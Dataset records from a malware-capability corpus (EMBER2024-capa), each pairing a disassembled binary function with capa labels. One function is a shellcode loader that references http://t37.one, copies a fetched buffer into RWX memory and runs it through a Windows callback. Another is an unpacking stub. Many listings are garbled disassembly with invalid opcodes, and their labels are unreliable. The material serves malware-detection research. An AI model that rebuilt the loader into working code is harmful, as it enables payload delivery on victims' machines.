joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14006ba54
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.14005e7e8
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x14006baf5
cmp ebx, dword [rsp + 0x30]
je 0x14006baee
test esi, esi
je 0x14006baee
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x14006bac9
sub r8w, 0x61
cmp r8w, 0x19
ja 0x14006bad6
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x14006bab3
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x14006bada
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x14006baf7
mov eax, 1
jmp 0x14006baf7
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140070330
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140064144
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140064144
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140070480
cmp rax, 0xffffffffffffffff
je 0x140070480
xor edi, edi
test rbp, rbp
jle 0x14007042b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.140062c50
mov rbx, rax
test rax, rax
jne 0x1400703b8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140070421
mov edx, 0x8000
mov ecx, r14d
call fcn.14005bff8
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.140061d78
cmp eax, 0xffffffff
je 0x140070401
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1400703c8
mov edx, r15d
mov ecx, r14d
call fcn.14005bff8
jmp 0x140070421
cmp byte [rsi + 0x38], dil
je 0x140070418
cmp dword [rsi + 0x34], 5
jne 0x140070418
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x140070421
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14005eb48
jmp 0x140070494
jns 0x140070494
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140064144
cmp rax, 0xffffffffffffffff
jne 0x14007044c
cmp byte [rsi + 0x30], dil
je 0x140070494
mov edi, dword [rsi + 0x2c]
jmp 0x140070494
mov ecx, r14d
call fcn.140069500
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140070494
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x140070494
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x14007048d
mov eax, dword [rsi + 0x2c]
jmp 0x140070492
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140064144
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x14005e278
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x20
mov rcx, qword [0x14007e4e8]
test rcx, rcx
jne 0x14005e1cf
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 0x60]
mov rcx, qword [rbx + 0x40]
test rcx, rcx
jne 0x14005e1c8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
lea r8d, [rdx + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rdi, rax
test rax, rax
je 0x14005e1fa
and qword [rax], 0
and qword [rax + 8], 0
xor eax, eax
lock cmpxchg qword [rbx + 0x40], rdi
je 0x14005e1c4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rdi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbx + 0x40]
mov qword [0x14007e4e8], rcx
call qword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
test rax, rax
jne 0x14005e26d
mov edx, 0x1000
lea r9d, [rax + 0x40]
xor ecx, ecx
mov r8d, edx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x14005e21d
xor edx, edx
lea r9, [rsp + 0x30]
mov ecx, 0xc0000017
lea r8d, [rdx + 1]
mov qword [rsp + 0x30], 0x20
call qword [sym.imp.KERNEL32.dll_RaiseException]
mov eax, dword [rax]
mov rcx, qword [0x14007e4e8]
call qword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
mov rdi, rax
test rax, rax
je 0x14005e24a
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, rdi
jmp 0x14005e26d
lea rdi, [rbx + 0xfe0]
mov rcx, qword [0x14007e4e8]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_InterlockedPushEntrySList]
add rbx, 0x20
cmp rbx, rdi
jb 0x14005e251
mov rax, rbx
mov rbx, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
jmp 0x14005e154

Function at 0x100403a20
Capabilities:
Encode data using xor

Disassembly:
xor al, 0x6c
xor al, 0x64
xor al, 0x67
xor al, 0x41
xor al, 0x3e
xor al, 0x7d
xor al, 0xa2
xor al, 0x9a
xor al, 0xa3
xor al, 0x88
xor al, 0x9d
xor al, 0xa4
xor al, 0x71
xor al, 0x74
xor al, 0x59
xor al, 0x87
xchg dword [rbp*4 - 0x57cb58cc], esi
xor al, 0x99
xor al, 0xa1
xor al, 0x86
xor al, 0xa3
xor al, 0xa3
movabs dword [0xa73490345934a834], eax
xor al, 0xad
xor al, 0xa7
xor al, 0xa8
xor al, 0x99
cdq
xor al, 0xa1
xor al, 0x67
xor al, 0x66
xor al, 0x90
xor al, 0xa7
xor al, 0x9c
xor al, 0x99
xor al, 0xa0
xor al, 0xa0
xor al, 0x67
xor al, 0x66
xor al, 0x62
Function at 0x140028560
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push r15
push r14
loop 0x1400285bd
push rbp
push rbx
in eax, dx
in al, dx
xlatb
in al, 0x85
movabs byte [0x6f890000004ed52f], al
mov rsi, rcx
call int.1400d0680
fisttp dword [rbp + 0x3748000c]
rol dword [rcx], 0xba
add dword [rax], eax
add byte [rax], al
xor r15d, r15d
adc esi, edx
js 0x140028604
xor ebx, 1
add dword [rdi], ecx
mov dh, 0x46
call qword [rdi + rdx*2 + 0x1c78348]
movzx eax, byte [rsi - 1]
xchg esp, eax
push rdi
add rdi, 1
movzx ebx, byte [rsi]
add rsi, 1
test bl, bl
je 0x140028647
test r15b, r15b
je 0x1400285f0
sqrtps xmm5, xmm15
movzx ecx, bl
call 0x1890d11ac
cmp dword [rdi], edx
je 0x1400285b5
nop dword [rdx]
add byte [rax], al
add byte [rax], al
cmp bl, 0x26
je 0x1400285b8
jmp 0x1400285bf
invalid
push rdi
push rbp
push rbx
sub rsp, 0xb70208
mov qword [rbp + 0x41c5db4d], r15
test bh, dl
pop rdi
js 0x140028688
mov eax, dword [0x14012b050]
jrcxz 0x140028629
jrcxz 0x140028629
movabs al, byte [0x8b00ca0200248489]
add eax, 0x10d2b9
test eax, eax
movsb byte [rdi], byte [rsi]
invalid
pop rax
imul edi, dword [rbx + 0x48], 0x48527e00
mov dword [rax - 0x76b274dc], esp
in al, dx
movzx r12d, r12w
cdq
imul cl
lea edx, [rax - 0x34]
invalid

Function at 0x14002d540
Capabilities:
Encode data using xor

Disassembly:
enter 0xc7, 0xfffffffffffffffa
mov dword [rsi + 0x129], 0x3300
mov rdx, rax
push rcx
add dword [rax], eax
add byte [rax - 0x7b], cl
jbe 0x14002d55e
adc al, ch
invalid
push rsi
push rdi
sub rsp, 0xffffffffffffff97
jne 0x14002d4d1
add cl, byte [rcx + rcx*4 + 0x4c]
and al, 0x68
mov qword [rsp + 0x60], r8
mov rbx, qword [rbx]
neg dl
str word [rax + 0x31]
loopne 0x14002d5a5
stc
pushfq

Function at 0x14003db08
Capabilities:
Get common file path

Disassembly:
invalid
test esi, esi
jne 0x14003dae4
jmp 0x14003dc09
ror dword [rcx + 0x619e8ee], 0
add byte [rcx - 0xe76b73d], cl
call fcn.140043590
add byte [rax], al
test bl, bl
jne 0x1a103dce9
movabs byte [0x3d8b48007b35b80d], al
test eax, 0x48000e20
lea esp, [rsi]
and al, 0x40
jle 0x14003dc1e
add byte [rbx - 0x48], al
add al, 1
add byte [rax], al
call rdi
mov esi, eax
lea rcx, str.XASCII
lea rdx, [rsp - 0x5b]
jp 0x14003dbef
add al, 1
add byte [rdx - 0x97a2801], bh
test esi, esi
jne 0x14003dbff
mov byte [rsp + 0xf40140], 0x16
cmp esi, 0x103
ja 0x14003dc98
cmp eax, 0x1d4
ja 0x14003dc3d
test eax, eax
je 0x14003dc25
and cl, byte [rbp + 0xd3ab205]
jb 0x14003dcac
adc dword [rsp + 0x140], ecx
invalid
fisttp dword [rbp + 0x140248c]
add byte [rax], al
mov edx, 0x7401e9
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
cmp eax, 0x104
add al, 1
add byte [rax], al
and edi, dword [rsi]
lea rdx, str.PUTTY.RND
lea rcx, [rsp + 0x6100b540]
xor r8d, r8d
mov ebx, dword [rcx + rcx*2]
add byte [rdx + 0x614cc689], bh
and al, 0x28
mov rcx, rax
invalid
Function at 0x140043e20
Capabilities:
Encode data using xor

Disassembly:
push r14
jl 0x140043e7b
push rbx
stc
sub esp, 0x38
mov r14, rax
mov rax, qword [0x14065b050]
xor rax, rsp
mov qword [rsp - 0x66], rax
pop rdi
add dword [rax], eax
add byte [rax], al
mov edx, 0x7002a05
xor eax, eax
call fcn.1400434f0
mov rbx, rax
lea rdi, [rax - 0x6c]
invalid
int1
add eax, dword [rax]
add al, byte [rax]
add dh, al
cmp byte [r8], al
mov ecx, 0x100200
mov edx, 0x2d2901
xor dword [r9 - 0x18], r13d
pop rcx
idiv bh
invalid

Function at 0x140046290
Capabilities:
Get geographical location

Disassembly:
adc eax, 0xc0ab7
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
jmp 0x1400462a2
mov rdi, rbx
out 0x95, eax
jns 0x1400462a9
xor byte [rax + 0x486c75c0], al
add esp, 0x28
ret

Function at 0x1400465c0
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
fist word [rdi + 0x41]
push rsi
push rsi
push rdi
cmp bh, byte [0x120f0e814]
mov ebp, edx
mov rbx, rcx
cmp rax, qword [0x18d12b050]
push rsp
xor eax, esp
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x43], 0x6e05
mov edi, 0x2d010b
mov ecx, 0x105
sub eax, 0x105b900
add byte [rax], al
mov edx, 1
xor dword [r13 - 0x310f18], r14d
dec dword [rax - 0x77]
xchg ecx, eax
mov r15, qword [0x140ef5e48]
lea r14, [rsp + 0x38]
nop
jne 0x1400465ec
mov edx, ebp
mov r8, rsi
or al, 0xf9
outsd dx, dword [rsi]
xlatb
cld
invalid

Function at 0x14005a910
Capabilities:
Encode data using xor

Disassembly:
call fcn.14003d200
mov rcx, qword [rsp + 0x30]
xor qword [rdx + 0x668ed89], rbx
add byte [rbx], dh
add esp, 0xffffffa4
sti
pop rsi
add al, 0xcc
int3
push rsi
push rdi
push rbx
sub rsp, 0xffffffffffffffbf
xlatb
mov rsi, rcx
mov rax, qword [0x14012b050]
xor qword [rdi], rbx
mov al, 0x40
and al, 0x1b
mov rcx, rdx
call 0x140f60680
mov rbx, rax
cmp qword [rsi - 0x1f], 0
je 0x14005a924
lea rcx, [rsi + 0x18]
mov dl, 0x2c
call 0x13fcd2ba0
cmp sil, al
sbb byte [rax - 0x77], cl
xor dword [rax + rbp], esp
sub edi, dword [rcx]
pop rsp
and al, 0x30
fst dword [rsi + rbp*8 + 0x28]
mov rcx, rsi
call fcn.140048127
jb 0x14005a8f1
invalid

Function at 0x140079480
Capabilities:
Encode data using xor

Disassembly:
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
call qword [0x140165950]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.1400ba9f0
xor eax, eax
movaps xmm2, xmmword [rax + 0x24]
pop rcx
add rsp, 0xffffffffffffff88
pop rbx
fld dword [rsi]
lahf
pop r12
xor eax, dword [r9 - 0x48]
pop r15
loop 0x140079451
cmc
loope 0x1400794db
push rdi
push r11
invalid
mov dword [rsi - 0x1b], eax
mov dword [rsi + 0x28], 0x5000000
Function at 0x1400adbd0
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
and byte [rbp + 0x41], dl
push rsp
push rsi
push rdi
push rbp
push rbx
shr spl, 1
mov rax, qword [0x14012b050]
xor rax, rsp
mov qword [rsp - 0x2a], rax
and al, 0xd6
cmp rsi, 0x30
add byte [rdi + rbx + 0x48], dh
mov ecx, dword [rsp + 0x40]
mov rcx, qword [rsp + 0x40]
out dx, al
loope 0x1400adbe7
in eax, dx
int 0x15
or eax, 0xc4834890
pop rbx
pop rbp
pop rdi
pop rsi
movsd dword [rdi], dword [rsi]
pop r13
pop r14
pop rdi
movabs dword [0x3879a1ce8948c3], eax
je 0x1400adbf6
lea rdi, [rsi - 0x37]
mov rcx, rdi
call 0x13ff6d710
cmp rax, 4
cmp ecx, dword [rax + rax*4]
pop rdi
cmp edi, esi
bt dword [rax], ebp
add dword [rax], eax
jmp 0x1400adbec

Function at 0x1400dda81
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [rcx - 0x4a]
test al, 0x42
je fcn.1400dda91
test dword [rbx + 0x39080821], ecx
add ecx, ebx
mov r9, qword [rcx + 0x18]
mov ecx, dword [rcx + 0x18]
Function at 0x2f1f900
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x2f1f90d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x2f1f91d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x2f1f905
lea eax, [rcx + 1]
jmp 0x2f1f92b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x2f1f93e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x2f1f924
sub eax, 3
jb 0x2f1f95e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x2f1f9ad
sar eax, 1
movsxd rbp, eax
jb 0x2f1f994
jmp 0x2f1f96c
add ebx, ebx
jne 0x2f1f96a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x2f1f994
inc ecx
add ebx, ebx
jne 0x2f1f97a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x2f1f994
call r11
adc ecx, ecx
add ebx, ebx
jne 0x2f1f98d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x2f1f97c
add ecx, 2
jmp 0x2f1f999
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.02f1f8c2
jmp 0x2f1f90d
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x2af6000]
mov eax, dword [rdi]
or eax, eax
je 0x2f1fa09
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x2b1f000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x2f1f9b9
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x2f1fa03
mov qword [rbx], rax
add rbx, 8
jmp 0x2f1f9d9
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x2f1fa4d
cmp al, 0xef
ja 0x2f1fa35
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x2f1fa15
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
or eax, eax
jne 0x2f1fa24
mov eax, dword [rdi]
add rdi, 4
jmp 0x2f1fa24
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x2f1faa1
sub rsp, 0xffffffffffffff80
jmp 0x465b00
Function at 0x140001360
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push rdi
sub rsp, 0x50
movdqa xmm0, xmmword [str.http:__t37.one_2]
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x68], rsi
movdqu xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x30], 0x67706a2e
mov byte [rsp + 0x34], 0
call fcn.1400011b0
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
cmp rdi, rsi
je 0x1400013e9
sub rsi, rdi
mov qword [rsp + 0x60], rbx
mov rdx, rsi
mov r9d, 0x40
mov r8d, 0x3000
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rsi
mov rdx, rdi
mov rcx, rax
mov rbx, rax
call fcn.140006d40
xor r8d, r8d
mov rcx, rbx
lea edx, [r8 + 4]
call qword [sym.imp.KERNEL32.dll_EnumUILanguagesW]
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
test rdi, rdi
je 0x140001424
mov rdx, qword [rsp + 0x48]
mov rax, rdi
sub rdx, rdi
cmp rdx, 0x1000
jb 0x14000141c
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000142c
mov rcx, rdi
call fcn.140001730
xor eax, eax
add rsp, 0x50
pop rdi
ret
call fcn.1400079dc
int3

Function at 0x1400086c0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400084bc
Function at 0x14000bae0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000bb67
mov rsi, rbx
cmp word [rax], bp
je 0x14000bb26
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000bb10
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14000bb0c
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140009c18
mov rdi, rax
test rax, rax
je 0x14000bb54
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140006d40
mov rbp, rdi
xor ecx, ecx
call fcn.1400090d0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x418640
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4187e6
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [0x01105088]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00436ba0
xorps xmm15, xmm15
mov r14, qword [0x011bf1d0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x4186ab
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x4186c0
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
nop
test rbx, rbx
jbe 0x4186e5
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x4186f9
cmp rbx, 0x1000
jae 0x4186b5
nop dword [rax]
jmp 0x418769
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop
cmp rbx, 0x1000
jae 0x41870d
xor edx, edx
jmp 0x418760
mov rcx, qword [0x01105088]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call fcn.00436ba0
xorps xmm15, xmm15
mov r14, qword [0x011bf1d0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
nop dword [rax]
test dl, dl
jne 0x4186ef
jmp 0x4186d4
call fcn.0046f260
xorps xmm15, xmm15
mov r14, qword [0x011bf1d0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call fcn.0043b8e0
lea rax, [0x00ba4daa]
mov ebx, 0x18
call fcn.0043c1e0
mov rax, qword [rsp + 0x38]
call fcn.0043bee0
lea rax, [0x00ba5063]
mov ebx, 0x19
call fcn.0043c1e0
mov rax, qword [rsp + 0x30]
nop
call fcn.0043bee0
call fcn.0043bb40
call fcn.0043b960
lea rax, [0x00bade19]
mov ebx, 0x21
nop dword [rax + rax]
call fcn.00439fa0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0046b660
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp fcn.00418640
Function at 0x418820
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x418a4a
sub rsp, 0x58
mov qword [rsp + 0x50], rbp
lea rbp, [rsp + 0x50]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [0x01105090]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.00436c20
xorps xmm15, xmm15
mov r14, qword [0x011bf1d0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x418899
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x4188ac
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x4188d0
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
nop
jmp 0x4188e4
cmp rbx, 0x1000
jae 0x4188a3
jmp 0x418965
mov rbp, qword [rsp + 0x50]
add rsp, 0x58
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x4188f6
xor esi, esi
jmp 0x418956
mov rax, qword [0x01105090]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
nop dword [rax]
call fcn.00436c20
xorps xmm15, xmm15
mov r14, qword [0x011bf1d0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x4188da
nop
jmp 0x4188c2
call fcn.0046f260
xorps xmm15, xmm15
mov r14, qword [0x011bf1d0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x4189e5
call fcn.0043b8e0
lea rax, [0x00ba5e73]
mov ebx, 0x19
call fcn.0043c1e0
mov rax, qword [rsp + 0x68]
call fcn.0043bee0
lea rax, [0x00ba5063]
mov ebx, 0x19
call fcn.0043c1e0
mov eax, dword [rsp + 0x34]
nop dword [rax]
call fcn.0043bee0
call fcn.0043bb40
call fcn.0043b960
lea rax, [0x00b9ab6b]
mov ebx, 0xd
nop dword [rax + rax]
call fcn.00439fa0
cmp eax, 0x5af
je 0x418988
call fcn.0043b8e0
lea rax, [0x00ba5e73]
mov ebx, 0x19
nop dword [rax]
call fcn.0043c1e0
mov rax, qword [rsp + 0x38]
call fcn.0043bee0
lea rax, [0x00ba5063]
mov ebx, 0x19
nop dword [rax + rax]
call fcn.0043c1e0
mov eax, dword [rsp + 0x34]
call fcn.0043bee0
call fcn.0043bb40
call fcn.0043b960
lea rax, [0x00babeb9]
mov ebx, 0x1f
call fcn.00439fa0
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.0046b660
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.00418820
Function at 0x420f00
Capabilities:
Hash data using murmur3

Disassembly:
sub rsp, 0x18
mov qword [rsp + 0x10], rbp
lea rbp, [rsp + 0x10]
cmp byte [0x011beef6], 0
jne 0x420fef
mov rdx, qword [rax + 0x50]
test byte [rdx], al
nop
nop
nop
sub rbx, qword [rax + 0x18]
mov esi, dword [rax + 0x5c]
imul rbx, rsi
mov rsi, rbx
shr rbx, 0x20
shr rsi, 0x23
and ebx, 7
mov rdi, rcx
mov rcx, rbx
mov r8d, 1
shl r8d, cl
add rdx, rsi
lock or byte [rdx], r8b
nop
nop
mov rcx, qword [rax + 0x18]
nop
movabs rdx, 0x800000000000
lea rax, [rdx + rcx]
mov rdx, rax
shr rax, 0x2a
cmp rax, 0x40
jae 0x420fe5
lea rbx, [0x01191310]
mov rax, qword [rbx + rax*8]
shr rdx, 0x16
and edx, 0xfffff
mov rdx, qword [rax + rdx*8]
test byte [rdx], al
test byte [rax], al
mov rax, rcx
shr rcx, 0x10
and ecx, 0x3f
movzx ebx, byte [rdx + rcx + 0x11440]
lea rdx, [rdx + rcx]
lea rdx, [rdx + 0x11440]
shr rax, 0xd
and eax, 7
mov rcx, rax
mov eax, 1
shl eax, cl
test al, bl
jne 0x420fc7
lock or byte [rdx], al
mov rax, qword [r14 + 0x30]
mov rax, qword [rax + 0xa0]
test byte [rax], al
add qword [rax + 0x1248], rdi
mov rbp, qword [rsp + 0x10]
add rsp, 0x18
ret
mov ecx, 0x40
call fcn.0046dce0
lea rax, [0x00bb6d05]
mov ebx, 0x2c
nop dword [rax + rax]
call fcn.00439fa0
nop
int3

Function at 0x4233e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4234de
sub rsp, 0x48
mov qword [rsp + 0x40], rbp
lea rbp, [rsp + 0x40]
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rbx
mov qword [rsp + 8], 0
jmp 0x423420
mov rax, qword [rsp + 0x50]
mov rcx, rdx
mov rbx, qword [rsp + 0x58]
nop
cmp qword [rsp + 8], rbx
jae 0x4234cf
test byte [rax], al
lea rcx, [rax + 0x100b8]
mov rax, rcx
call fcn.00423fa0
nop dword [rax]
test rax, rax
je 0x4234cf
movups xmmword [rsp + 0x10], xmm15
movups xmmword [rsp + 0x20], xmm15
movups xmmword [rsp + 0x30], xmm15
lea rcx, [0x00423520]
mov qword [rsp + 0x10], rcx
lea rdx, [rsp + 8]
mov qword [rsp + 0x18], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x20], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rbx
